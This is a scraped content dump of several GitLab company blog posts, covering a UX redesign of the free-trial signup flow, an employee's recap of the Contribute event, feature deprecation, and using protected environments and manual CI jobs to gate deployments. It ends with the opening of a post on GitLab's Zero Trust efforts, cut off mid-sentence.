[epics](https://gitlab.com/groups/gitlab-org/-/epics?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=group%3A%3Aapm&label_name[]=Category%3ALogging) on this page. Sharing your feedback directly on GitLab.com is the best way to contribute to our strategy and vision.\n\nIf you're a GitLab user and have direct knowledge of your logging usage, we'd especially love to hear your use case(s).\n\nWatch my entire YouTube video on logging:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/hWclZHA7Dgw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",[2509,815,754],{"slug":24785,"featured":6,"template":678},"unifylogsmetrics","content:en-us:blog:unifylogsmetrics.yml","Unifylogsmetrics","en-us/blog/unifylogsmetrics.yml","en-us/blog/unifylogsmetrics",{"_path":24791,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24792,"content":24798,"config":24803,"_id":24805,"_type":16,"title":24806,"_source":17,"_file":24807,"_stem":24808,"_extension":20},"/en-us/blog/how-holistic-ux-design-increased-gitlab-free-trial-signups",{"title":24793,"description":24794,"ogTitle":24793,"ogDescription":24794,"noIndex":6,"ogImage":24795,"ogUrl":24796,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24796,"schema":24797},"How holistic UX design increased GitLab.com free trial signups","We boosted free trial signups by 141% by focusing on designing whole experiences instead of separate screens, small interactions, or pieces of UI.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681113/Blog/Hero%20Images/user-journey-map.jpg","https://about.gitlab.com/blog/how-holistic-ux-design-increased-gitlab-free-trial-signups","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How holistic UX design increased GitLab.com free trial signups\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matej Latin\"}],\n        \"datePublished\": \"2020-02-27\",\n      }",{"title":24793,"description":24794,"authors":24799,"heroImage":24795,"date":24800,"body":24801,"category":736,"tags":24802},[18742],"2020-02-27","\n\nOur new improved free trial signup flow launched in October 2019 and it reduced the number of interactions a user needed to do to complete the process from around 35 to 15. We reduced the time required to sign up and start a trial from more than five minutes to around 2.5 minutes – less than half of the original. Not surprisingly, our free trial signups soon went from around 400 per week to more than 800. This is the journey of three designers battling the complexity that comes with user experiences that weren’t designed holistically but instead grew “organically.”\n\n## Discovering the problems\n\nI started working on designing a new user onboarding experience sometime in the second quarter of 2019. The first step I took was to map the existing user journey from when users sign up for GitLab to the end of the existing onboarding. I wanted insight into the mindset of users at the moment they finished signing up for a free trial. We wanted our users to be excited and eager about the onboarding experience. I never expected to find what I did by mapping the current user journey.\n\n![GitLab’s marketing page](https://about.gitlab.com/images/blogimages/free-trial-improvements/homepage.jpg){: .large.shadow.center}\n\nI started to map the journey on the homepage of our marketing website and clicked on the big orange “Try GitLab for FREE” button. That took me to our free trial landing page where a user can choose between trialing GitLab as a SaaS (GitLab.com, hosted by GitLab) or self-managed (GitLab Self-Managed) solution. And this is where the problems started to appear.\n\n### Symptoms of a broken user experience\n\nThe two options for trialing GitLab (SaaS or Self-Managed) were presented by two tabs, one of which (Self-Managed) was active by default. To start a Self-Managed trial, the user had to fill in a large form right away. The SaaS option, on the other hand, only required a click on a button. My assumption here was that setting up a Self-Managed GitLab trial takes much longer so I concluded that someone who just stumbled upon GitLab is more likely to try it out as a SaaS. But on this page, few users actually noticed that option.\n\n![Original Free trial landing page](https://about.gitlab.com/images/blogimages/free-trial-improvements/landing-page.jpg){: .large.shadow.center}\n\nProblems identified:\n\n1. Self-Managed is the prioritized option but users need to fill in a large form to get started. Huge drop-off is expected even before the signup flow started.\n2. Affordance issues: the second option (the non-active one) was barely discoverable because of the way it was presented. The contrast was too low and most users missed it.\n3. Even the simpler option for starting a SaaS trial had instructions that needed to be followed. Most users missed these instructions and simply clicked on the big orange button labeled “Start Your Trial.”\n\n![Instructions](https://about.gitlab.com/images/blogimages/free-trial-improvements/instructions.jpg){: .shadow.medium.center}\n\nSigning up for a SaaS GitLab trial required users to complete two separate steps in the correct order. If step 1 wasn't completed, clicking on the “Start Your Trial” button led to a free trial signup flow that couldn’t be completed.\n\nSo a user would either have to fill in a large form and install their own instance of GitLab or follow these instructions to start a trial on GitLab.com. This reminds me of a design joke I heard ages ago but it stuck with me because it’s so true:\n> Design is like a joke: if it needs an explanation, it’s not a good joke.\n\u003C!-- ### Two separate steps to sign up for a free trial -->\n\nI didn’t know this at the time but these instructions where there for a reason. Users needed to complete two separate steps in two different applications to successfully sign up for a free trial – GitLab.com and a tool we call Subscription Manager. That’s why we had these instructions written on this page and that’s why the experience was completely broken if they weren’t followed. The following is the user journey map that I created:\n\n![Original user journey map](https://about.gitlab.com/images/blogimages/free-trial-improvements/original-user-journey-map.jpg){: .large.shadow.center}\n\nAltogether, it took users more than five minutes and almost 40 interactions to complete the process. When I say “interactions” I mean things like clicking a button, landing on a page, filling in a form field and similar. A user who just completed the process of signing up for a free trial of a tool should feel excited, but in our cause they most probably felt exhausted. You can [watch my video walkthrough of the experience](https://www.youtube.com/watch?v=O-zjek64d0g&feature=youtu.be) as it was at the time. Here are the key points of the experience:\n\nUsers had to sign up for a [GitLab.com](http://gitlab.com) account first. After this step, they were shown an “Almost finished” message as they had to confirm their email by clicking on a link in an email message that was automatically sent.\n\n![Registration form](https://about.gitlab.com/images/blogimages/free-trial-improvements/registration-form.jpg){: .large.shadow.center}\n\nProblems discovered:\n\n- We asked for a lot of information, probably too much for simply signing up.\n- We sent the newly signed-up users to their inbox – a huge source of distractions.\n\nAfter they successfully confirmed their email, we showed them the following screen – the beginning of the Free Trial signup:\n\n![Free trial sign up](https://about.gitlab.com/images/blogimages/free-trial-improvements/free-trial-signup.jpg){: .large.shadow.center}\n\nProblems identified:\n\n- Visual style was different.\n- We asked for a lot of information again. A lot of this we already had from their GitLab.com signup but we didn’t use any of it to pre-fill the form.\n\nAfter they filled in and submitted the Free Trial signup form, they were shown the following from the Subscription Manager app. This is when the users started to interact with the second app.\n\n![Subscription manager](https://about.gitlab.com/images/blogimages/free-trial-improvements/subscription-manager.jpg){: .large.shadow.center}\n\nProblems identified:\n\n- We told the users to confirm their email address again. It’s a different app for us, but for them it’s all GitLab.\n- The most obvious next step – confirming the email address – actually led to a broken flow that couldn’t be completed.\n- This screen created a lot of confusion and users didn’t know what they had to do. Sign in, register, or sign in with GitLab.com?\n\nIn the end, signing in with GitLab.com was the only way to successfully complete the process. It took the users to the next screen – activating their free trial.\n\n![Free trial activation](https://about.gitlab.com/images/blogimages/free-trial-improvements/free-trial-activation.jpg){: .large.shadow.center}\n\nProblems identified:\n\n- We asked the users to choose which group their free trial is for. We asked this even if the user had no groups created at all. In that case, the users could only apply the trial to their namespace so the dropdown only had one option. As this was commonly the case, this step was unneeded manual work.\n\nTo add to the confusion, we sent users to the final screen in the flow: the billing overview. The fact that we sent them to this screen wasn’t the problem, it was the information we showed.\n\n![Billing page](https://about.gitlab.com/images/blogimages/free-trial-improvements/billing.jpg){: .large.shadow.center}\n\nProblems identified:\n\n- We told the users they’re on the Gold Plan but we also showed the purchase options right below. Some users were confused about whether their trial was actually activated or not.\n\nWith all this done we could summarize what the main problems that needed to be solved were:\n\n- Two separate apps with different visual styles\n- The two apps didn’t work well with each other\n- We repeatedly asked for information users already provided\n- Poor flow of screens and unclear information architecture led to confusion. Users didn't know where they were and what they were required to do.\n\n## Fixing a broken flow\n\nOk, so at this point I learned that the flow for signing up for a free trial was disjointed and sometimes even broken. I recognized what the main reason for that was – separate applications not communicating with each other through some form of automation – as well as other UI and UX issues of course.  To tackle the main problem, I came up with a vision: *about one minute and no more than 15 interactions required to complete the free trial signup flow.* The main outcome I wanted to achieve with this work was to improve the state of mind a user is in after successfully signing up for a free trial – *excited* instead of *exhausted*.\n\n![Users state of mind](https://about.gitlab.com/images/blogimages/free-trial-improvements/user-state-of-mind.jpg){: .large.center}\n\nBut how do we get there? Well, first of all, we need to move away from forcing users to interact with two separate applications. We do that by moving the second part of the process into the first application (GitLab.com) and making it communicate with the other application in the background. I proposed a unified signup flow that happens in one application but is adapted based on the user’s intent. Is the person an existing GitLab.com user trying to sign up for a free trial? Or are they a new user and they need to sign up for both GitLab.com and Subscription Manager accounts?\n\n![Unified flow](https://about.gitlab.com/images/blogimages/free-trial-improvements/unified-flow.jpg){: .shadow.large.center}\n\nMy colleague [Timothy Noah](/company/team/#timnoah) took over from here as he was the designer working with the team that owned this part of the product. He completed a [UX scorecard](https://gitlab.com/gitlab-org/ux-research/issues/285) and [video-documented](https://www.youtube.com/watch?v=MkTOwTxsoL8) the flow again. The result of his work was a [well structured approach](https://gitlab.com/gitlab-org/ux-research/issues/304) to breaking things down into smaller steps but with a holistic overview. Based on all this work, he then created a proposal of what the user journey should be like.\n\n![Proposed user journey](https://about.gitlab.com/images/blogimages/free-trial-improvements/proposed-user-journey.jpg){: .shadow.large.center}\n\nAnd translated it into actual UI, pages and their flow:\n\n![Proposed flow](https://about.gitlab.com/images/blogimages/free-trial-improvements/proposed-flow.jpg){: .large.center}\n\n[This clickable prototype](https://sketch.cloud/s/v1zJb/a/mgkLnw/play) illustrates perfectly how the new free trial signup flow should behave. It’s immediately clear that it’s much simpler and more cohesive than the original.\n\nWith that we could also improve the Free Trial landing page by removing the instructions (as we didn’t need them anymore) and balancing the two options for starting a free trial:\n\n![Improved free trial landing page](https://about.gitlab.com/images/blogimages/free-trial-improvements/improved-landing-page.jpg){: .large.shadow.center}\n\n## The new free trial signup flow launches\n\nAfter a lot of hard but well coordinated work, the new free trial signup flow launched on October 29, 2019. The results were clear in less than one week. The week before the launch, we had 466 free trial signups. In the week of the launch the number rose to 628, then to 842 in the week after. They remained well above 800 throughout November. We then saw a small dip during December (but it never fell below 600) and the climb resumed in January. We’re now getting more than 900 free trial signups per week.\n\n![Free trial signups chart](https://about.gitlab.com/images/blogimages/free-trial-improvements/chart.jpg){: .large.center}\n\nI quickly crunched the numbers and came to the following conclusion:\n\n> Average signups per week before launch: **330** \u003Cbr>\n> Average signups per week after launch: **794** \u003Cbr>\n> Which results in an improvement of **141%**\n\nSo we more than doubled the amount of free trial signups, but what exactly led to these results? Another colleague, [Kevin Comoli](/company/team/#kcomoli), recently did a follow-up [UX scorecard](https://gitlab.com/gitlab-org/growth/product/issues/166) to rescore the experience. His findings? It now takes around 17 interactions (instead of the original 37) and around 2.5 minutes to complete the process. So we reduced both by more than half and that’s why we’re seeing such an increase in completed signups. Take a look at the latest version of the [user journey](https://app.mural.co/t/gitlab2474/m/gitlab2474/1572360181709/cb4df793a4d4b98395b8c98c6510d21b4a2d6747) mapped by Kevin.\n\n## Organically grown versus holistically designed experiences\n\nExperiences are either intentionally and holistically designed by someone or they get designed by what I call “organically grown” smaller parts of the experience. It’s like cultivating a garden: we start off by planting a few flowers and bushes but leave some empty space around them. Eventually, if we don’t do anything, this empty space will get overgrown with weeds. Our flowers and bushes will also grow in an uncontrolled way. So until a gardener comes around and tidies everything up, our garden will be a mess. It’s the same with our digital products – if a designer with a holistic overview isn’t involved, different parts of our products grow into a mess that doesn’t work as a whole. The *holistic overview* is the key here. It’s not enough to have designers involved if all they do is design separate screens instead of complete experiences. We need to look at how things work as a whole. That’s when designers, and the teams they work with, are most successful.\n\n## Where do we go from here?\n\nWe’re thrilled about the improvements we have already achieved but we also feel there’s a lot more we can do. I personally would still like to see the time required to complete the process be reduced to around a minute. As part of his UX scorecard, Kevin also came up with additional [recommendations for improvements](https://gitlab.com/groups/gitlab-org/growth/-/epics/7). There, he talks about trimming down the information shown in the process, improving the entry points to the flow and tailoring its steps based on the user type. We’re all looking forward to  these improvements being implemented.\n\nPhoto by [Startaê](https://unsplash.com/@startaeteam?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) Team on [Unsplash](https://unsplash.com/s/photos/post-it?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[2249,2248,9297,676],{"slug":24804,"featured":6,"template":678},"how-holistic-ux-design-increased-gitlab-free-trial-signups","content:en-us:blog:how-holistic-ux-design-increased-gitlab-free-trial-signups.yml","How Holistic Ux Design Increased Gitlab Free Trial Signups","en-us/blog/how-holistic-ux-design-increased-gitlab-free-trial-signups.yml","en-us/blog/how-holistic-ux-design-increased-gitlab-free-trial-signups",{"_path":24810,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24811,"content":24817,"config":24823,"_id":24825,"_type":16,"title":24826,"_source":17,"_file":24827,"_stem":24828,"_extension":20},"/en-us/blog/contribute-through-the-eyes-of-a-new-gitlabber",{"title":24812,"description":24813,"ogTitle":24812,"ogDescription":24813,"noIndex":6,"ogImage":24814,"ogUrl":24815,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24815,"schema":24816},"Contribute through the eyes of a new GitLabber","I joined GitLab just in time to make it to Contribute New Orleans. Here's a few things you might want to know before going to Contribute Prague...","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683192/Blog/Hero%20Images/contribute-through-the-eyes-of-a-new-gitlabber-unsplash.jpg","https://about.gitlab.com/blog/contribute-through-the-eyes-of-a-new-gitlabber","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Contribute through the eyes of a new GitLabber\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vlad Stoianovici\"}],\n        \"datePublished\": \"2020-02-25\",\n      }",{"title":24812,"description":24813,"authors":24818,"heroImage":24814,"date":24820,"body":24821,"category":6634,"tags":24822},[24819],"Vlad Stoianovici","2020-02-25","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nThe moment when I decided I wanted to work for GitLab was when I saw this interview with Sid:\n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/e56PbkJdmZ8\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\u003C/figure>\n\n\nI remember I had researched **\"all remote\"** companies and Sid’s interview popped into the queue. He said that since they’re all-remote they pick an interesting place and every 9 months everyone gets together to hang out. And because it’s really \"all remote\" any given location will be far from most but close to some ([GitLab employs people in at least 66 countries](https://about.gitlab.com/company/team/)) so it can literally be anywhere in the world that has a large conference room and internet. \n\nHuh? That sounds really cool, \n\n...but how does that really work? \n\nWho's doing support? :) \n\nDo they all just stop working for a week? \n\nSo I spent the next few minutes watching Sid put into a very appealing context concepts like: boring solutions, everyone can contribute, unified continuous integration, a single source of truth that is written down for the whole world to see, transparency, async communication …etc. Now, at this point I had been working remotely in more-or-less traditional companies for the best part of 5 years and was painfully aware this can lead to quite a few drawbacks, but here was this company that had working remotely embedded in its DNA, where everyone was equally remote, where every workflow was built to accommodate remote collaboration (transparent, distributed, scalable, asynchronous) …and they also have this huge party / get together every 9 months?!\n\nFast forward 2 months, 4 interviews and quite a bit of email chatter and I was boarding this first of 3 planes that would take me to  **N’awlins** for *Contribute 2019* (this was my 3rd day with the company). \n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/xdtPNXtkBhE\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\u003C/figure>\n\n\n**Fun fact #1:** I told my wife all about GitLab’s culture, values and mission which created a huge community and how it was a \"force for good\".\n\nHer response was: That’s all very nice, but I really like the orange foxy logo, it’s really cute, I’ve got a good feeling about them (she’s more of a visual person). \n\n\n![GitLab Tanuki](https://about.gitlab.com/images/blogimages/contribute-through-the-eyes-of-a-new-gitlabber/contribute-through-the-eyes-of-a-new-gitlabber-tanuki.png \"GitLab Tanuki\"){: .shadow.medium.center}\n\n[Tanuki](https://www.linkedin.com/pulse/how-gitlab-logo-relates-software-development-joel-krooswyk/) is Japanese for raccoon dog, which is a smart animal that works in a group to achieve a common goal.\n\n\n\n**Fun fact #2:** It seems that for each Contribute GitLab doubles its size. There were about **600 GitLabbers** when I joined (Contribute New Orleans) and for the Prague 2020 Contribute there’s going to be **at least 1200 of us**. That’s hyper-growth for y’a! Just take a moment to imagine and appreciate the massive effort done by some of our GitLabbers to make this possible. Big ups to all of those involved!\n\n## What to expect\n\nWe tend to think that we need to have trust with someone before allowing ourselves to be vulnerable (to show emotion and to generally act like a human) . And this may ring even more true in the workplace. But it looks like we got that completely backwards (studies show): in order to create trust you need to show and perceive your peers as actual human beings (what psychologists call *\"vulnerability\"*). That makes people feel more relatable and approachable and physical proximity is very important in establishing this report. That is why, even though it is a gargantuan undertaking both logistically and financially, Contribute is still happening and it’s such a huge part of our culture. This is where we get together to bind those relationships that make remote working at such a scale possible. \n\n**Contribute** is where you will be meeting your teammates, where you’ll be socialising with like-minded peers, where you will be making so many connections and where you will be hearing so many interesting stories. Last year I talked to (to mention but a few) snowboarders, skiers, sailors, painters, hacktivists, minimalists, adventure travellers, people who, while working at GitLab, continuously travel the world hopping from one continent to another. People who’ve had the opportunity, while at GitLab, to change their family’s lives for the better by moving to countries where they can be safe, can benefit from healthcare and children can get better education. Generally, people who don’t settle, who have a full life and stride to achieve their full potential from the most diverse backgrounds possible. And they all consider you their peer and share your goals and values. If you’re an introvert and this sounds like your worst nightmare, don’t worry we’ve got you covered: check out this workshop: [Introverts unite! How to survive & thrive at events while introverting](https://gitlab.com/gitlab-com/marketing/contribute/contribute-2020/issues/102).\n\nI remember that last year, at NOLA Airport, a bunch of us had grouped together for the shuttle to the hotel. We were kind of a mixed bunch: people from the US and Canada (who had shorter flights and thus had a much higher energy level), a few Europeans (most of which had been traveling for around 16 to 20 hours) as well as a few GitLabbers from Singapore and Taiwan who had left home over 30 hours ago. Nevertheless, excitement and cheerfulness were the norm and the bus was buzzing with conversations. Most of the people on the bus didn’t know each other and some had known each other but had never met in person. Regardless, it **felt like going** on a road-trip **to summer camp** :).\n\nI distinctly remember that, just before Sid’s Keynote speech (which marked the beginning of Contribute), people were gathering in the foyer of the hotel and as I was walking down the stairs, and into the crowd,  I felt like I was immersing myself in an effervescence pool of exuberance and anticipation.\n\nAnd speaking of Sid, you’ll also get plenty of chances to chat with him but even if you don't you’ll still witness his special brand of humor during his keynote speech. Here’s the one from New Orleans:\n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/kDfHy7cv96M?t=736\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\u003C/figure>\n\nI’d also like to mention [Matt Mullenweg](/company/team/#matt-m)’s (creator of Wordpress and founder / CEO of Automattic) speech where he shared his vision on how companies like GitLab and Automattic are disrupting the paradigm of start-ups and, more broadly, tech companies by being **\"all remote\"** by design and how that offers a huge competitive advance. He was then joined by Sid in an open discussion where both of them made it clear that the big tech companies are trying to tap into this \"all remote\" vision and they are looking to adapt to remote working in ways that would fit their monolithic organisations.\n\nWe also had **workshops**, structured and unstructured discussions about an abundance of topics (from **Kubernetes, Continuous Integration / Continuous Development, GitLab Performance, AutoDevOps  to  Work/life balance, Traveling Hacks, Yoga, etc**).\n\nThe last few days were mostly for team time and outdoorsy activities like **Swamp Pontoon Boat trips**, or excursions through the various **scenic areas of New Orleans**. \n\nFor those of you itching for that GitLab T-shirt or that GitLab coffee mug, you need not worry, there will be a **Pop-up Swag store**, but do hurry, the good stuff sells really fast!\n\nAt the end there will be **a huge party** with drinks and food to end what will be a crazy few days! In New Orleans we got to wear masks which you could have built yourself at one of the workshops.\n\nAs you can imagine it can get pretty hectic since there’s a lot to experience. Add to that a pinch of jet-lag, mix it with the queue of emails you have to keep up with, top it off every night with an open bar and it’s no wonder how this whole thing might seem like a giant laundromat that will leave you spinning. **Just remember to breathe!**\n\n**Pro tip 1:** learn how to use the event’s app and check-out the [#Contribute2020](https://gitlab.slack.com/archives/CLERRHMC2) slack channel to be up to date on where things are happening, what’s up next and where you need to go.\nCheckout [the Contribute FAQ](/events/gitlab-contribute/) for a lot of useful information, but also keep an eye out for emails about Contribute as they contain important updates and links to resources. \n\n**Pro tip 2:** flight duration / country / position within the company are very easy-to-use icebreakers. Maybe put something/original on your name badge. \n\n## Conclusions\n\nWhat I’d recommend (*and my extensive experience of attending a total of one other Contribute speaks for itself*) is this: go out there with an open mind and immerse yourself into it. It’s one hell of a ride. Meet as many people as possible, make connections, create lasting bonds, eat something that you’ve not tried before, try to seat next to different people through breakfast/lunch/dinner or on tour busses, go to sessions with topics that you have no clue about and generally go with the flow and soak it all in. You will go home feeling energised and filled with a sense of belonging and gratitude for being part of this culture.\n\nCover Photo by [Marvin Meyer](https://unsplash.com/@marvelous) on [Unsplash](https://unsplash.com/photos/SYTO3xs06fU)\n{: .note}\n",[277,3798],{"slug":24824,"featured":6,"template":678},"contribute-through-the-eyes-of-a-new-gitlabber","content:en-us:blog:contribute-through-the-eyes-of-a-new-gitlabber.yml","Contribute Through The Eyes Of A New Gitlabber","en-us/blog/contribute-through-the-eyes-of-a-new-gitlabber.yml","en-us/blog/contribute-through-the-eyes-of-a-new-gitlabber",{"_path":24830,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24831,"content":24836,"config":24840,"_id":24842,"_type":16,"title":24843,"_source":17,"_file":24844,"_stem":24845,"_extension":20},"/en-us/blog/gitlabs-deprecation-strategy",{"title":24832,"description":24833,"ogTitle":24832,"ogDescription":24833,"noIndex":6,"ogImage":18477,"ogUrl":24834,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24834,"schema":24835},"What is GitLab's feature deprecation strategy?","We release a lot of new features every month! Curious how we're thinking about deprecation?","https://about.gitlab.com/blog/gitlabs-deprecation-strategy","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What is GitLab's feature deprecation strategy?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2020-02-21\",\n      }",{"title":24832,"description":24833,"authors":24837,"heroImage":18477,"date":24838,"body":24839,"category":18484},[3532],"2020-02-21","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nWhat is our deprecation strategy for features? \nWe add a ton of features to our product every single month. \nIt can be a not-great user experience or development experience, if you don't deprecate any of them. \nWhen we have features that are widespread in the codebase but don't have a lot of usage, it holds us back. \n\nWe deprecate features for the same reasons a lot of other companies do, including not generating revenue and not being utilized.\nI think what's really important is technical debt interest rate. \nFor a feature that exists, it's important to consider how it prevents future features from being added and how it may be infecting existing or potential features with code that could be a higher quality. \n\nOur mission is Everyone Can Contribute. \nEvery time you add a new feature, it needs to be a solid base for people to build on. \n\nHere are some more of my thoughts on how we deprecate features:\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/AH0B4k0Ibz0\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n",{"slug":24841,"featured":6,"template":678},"gitlabs-deprecation-strategy","content:en-us:blog:gitlabs-deprecation-strategy.yml","Gitlabs Deprecation Strategy","en-us/blog/gitlabs-deprecation-strategy.yml","en-us/blog/gitlabs-deprecation-strategy",{"_path":24847,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24848,"content":24854,"config":24860,"_id":24862,"_type":16,"title":24863,"_source":17,"_file":24864,"_stem":24865,"_extension":20},"/en-us/blog/protecting-manual-jobs",{"title":24849,"description":24850,"ogTitle":24849,"ogDescription":24850,"noIndex":6,"ogImage":24851,"ogUrl":24852,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24852,"schema":24853},"How to limit access to manual pipeline gates and deployments using GitLab","Let's look at how to use protected environments to set up access controls for production deployments and manual gates.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681105/Blog/Hero%20Images/protect_manual_jobs.jpg","https://about.gitlab.com/blog/protecting-manual-jobs","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to limit access to manual pipeline gates and deployments using GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Thao Yeager\"}],\n        \"datePublished\": \"2020-02-20\",\n      }",{"title":24849,"description":24850,"authors":24855,"heroImage":24851,"date":24857,"body":24858,"category":734,"tags":24859},[24856],"Thao Yeager","2020-02-20","\n\nThis blog post was originally published on the GitLab Unfiltered blog. It was reviewed and republished on 2020-02-21.\n{: .alert .alert-info .note}\n\nIn our world of automation, why would anyone want to do something manually? Manual has become almost synonymous with inefficient. But, when it comes to CI/CD pipelines, a properly configured **manual** job can be a powerful way to control deployments and satisfy compliance requirements. Let’s take a look at how manual jobs can be defined to serve two important use cases: Controlling who can deploy, and setting up manual gates.\n\n## Limit access to deploy to an environment\n\nDeploying to production is a mission-critical occurence that should be protected. Projects with a Kubernetes cluster could benefit from moving to a continuous deployment (CD) model in which a [branch or merge request, once merged, is auto-deployed to production](https://docs.gitlab.com/ee/topics/autodevops/index.html#auto-deploy), and the absence of human intervention avoids mishaps. But for projects not yet configured for CD, let's consider this use case: Imagine a pipeline with a manual job to deploy to prod, which can be triggered by any user with access to push code. The risk of a unplanned, unintended production deployment is very real.\n\nFortunately, it’s possible to use [protected environments](https://docs.gitlab.com/ee/ci/environments/protected_environments/) to prevent just anyone from deploying to production. When [configuring a protected environment](https://docs.gitlab.com/ee/ci/environments/protected_environments.html#protecting-environments), you can define the roles, groups, or users to whom deploy access is granted. The protected environment can then be defined in a manual job to deploy which limits who can run it. The configuration could look something like this:\n\n```yaml\ndeploy_prod:\n  stage: deploy\n  script:\n    - echo \"Deploy to production server\"\n  environment:\n    name: production\n    url: https://example.com\n  when: manual\n  only:\n    - master\n```\n\nIn the example above, the keyword `environment` is used to reference a protected environment (as [configured in project settings](https://docs.gitlab.com/ee/ci/environments/protected_environments.html#protecting-environment)) with a list of users who can run the job, in this case deploy to the named environment. Users without access see a disabled **play** button and are unable to execute the job.\n\n## Add an approval step\n\nCompliance rules may specify that approval is required for certain activities in a workflow, even if they aren't technically a deployment step themselves. In this use case, an approval step can also be added in the pipeline that prompts an authorized user to take action to continue. This can be achieved by structuring your pipeline with an \"approve\" stage containing a special manual job – for example, the YAML to insert an approval stage before deployment could look like this:\n\n```yaml\nstages:\n  - build\n  - approve\n  - deploy\n\nbuild:\n  stage: build\n  script:\n    - echo Hello!\n\napprove:\n  stage: approve\n  script:\n    - echo Hello!\n  environment:\n    name: production\n    url: https://example.com\n  when: manual\n  allow_failure: false\n  only:\n    - master\n\ndeploy:\n  stage: deploy\n  script:\n    - echo Hello!\n  environment:\n    name: production\n    url: https://example.com\n  only:\n    - master\n```\n\nIn the YAML above, `allow_failure: false` [defines the manual job as \"blocking\"](https://docs.gitlab.com/ee/ci/yaml/#whenmanual), which will cause the pipeline to pause until an authorized user gives \"approval\" by clicking on the **play** button to resume. Only the users part of that environment list will be able to perform this action. In this scenario, the UI view of the pipeline in the example CI configuration above would look like this:\n\n![Pipeline view of approval stage manual job](https://about.gitlab.com/images/blogimages/manual_job_approve_stage_ui.png){: .shadow}\n\n## Summary\n\nAs illustrated in the YAML examples and image above, manual jobs defined with protected environments and blocking attributes are effective tools for handling compliance needs as well as for ensuring there are proper controls over production deployments.\n\nTell us how using protected environments with manual jobs has secured your deployments or whether blocking manual jobs helps you meet compliance and auditing. [Create an issue in the GitLab project issue tracker](https://gitlab.com/gitlab-org/gitlab/issues/new) to share your feedback with us.\n\nCover image by [Diane Walton](https://unsplash.com/photos/BNnzmBmnPg4) on [Unsplash](https://unsplash.com)\n{: .note}\n",[110,4144,1444,754,4103],{"slug":24861,"featured":6,"template":678},"protecting-manual-jobs","content:en-us:blog:protecting-manual-jobs.yml","Protecting Manual Jobs","en-us/blog/protecting-manual-jobs.yml","en-us/blog/protecting-manual-jobs",{"_path":24867,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24868,"content":24874,"config":24879,"_id":24881,"_type":16,"title":24882,"_source":17,"_file":24883,"_stem":24884,"_extension":20},"/en-us/blog/questions-regarding-our-zero-trust-efforts",{"title":24869,"description":24870,"ogTitle":24869,"ogDescription":24870,"noIndex":6,"ogImage":24871,"ogUrl":24872,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24872,"schema":24873},"We answer your most popular questions about our Zero Trust journey","From why we chose Okta to issues around data fluidity, here are answers to your most-asked ZT questions.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681098/Blog/Hero%20Images/lysander-yuen-wk-ztn-unsplash.jpg","https://about.gitlab.com/blog/questions-regarding-our-zero-trust-efforts","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"We answer your most popular questions about our Zero Trust journey\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Loveless\"}],\n        \"datePublished\": \"2020-02-19\",\n      }",{"title":24869,"description":24870,"authors":24875,"heroImage":24871,"date":24876,"body":24877,"category":674,"tags":24878},[5362],"2020-02-19","\n\n_It’s been a busy few months since my last blog post on our Zero Trust efforts, [\"Zero Trust at GitLab: Where do we go from here?\"](/blog/zero-trust-at-gitlab-where-do-we-go-from-here/). Since then I’ve done a few [press interviews](https://www.digi.no/artikler/zero-trust-du-ikke-kan-basere-deg-bare-pa-en-leverandor-for-a-lose-det/484170) and spoken at security conferences (most recently at [ShmooCon 2020](https://www.shmoocon.org/speakers/#0trust)) on the topic of Zero Trust. I’ve been transparent about GitLab’s implementation of security and our pursuit of Zero Trust ideas. I received many questions about Zero Trust at ShmooCon, both at the end of the talk and in the hallways after. I thought I’d pass on a few of those questions with some answers since many people are interested in the actual implementation of the ideas. It’s also a good way to show what happens when a well-meaning concept meets harsh 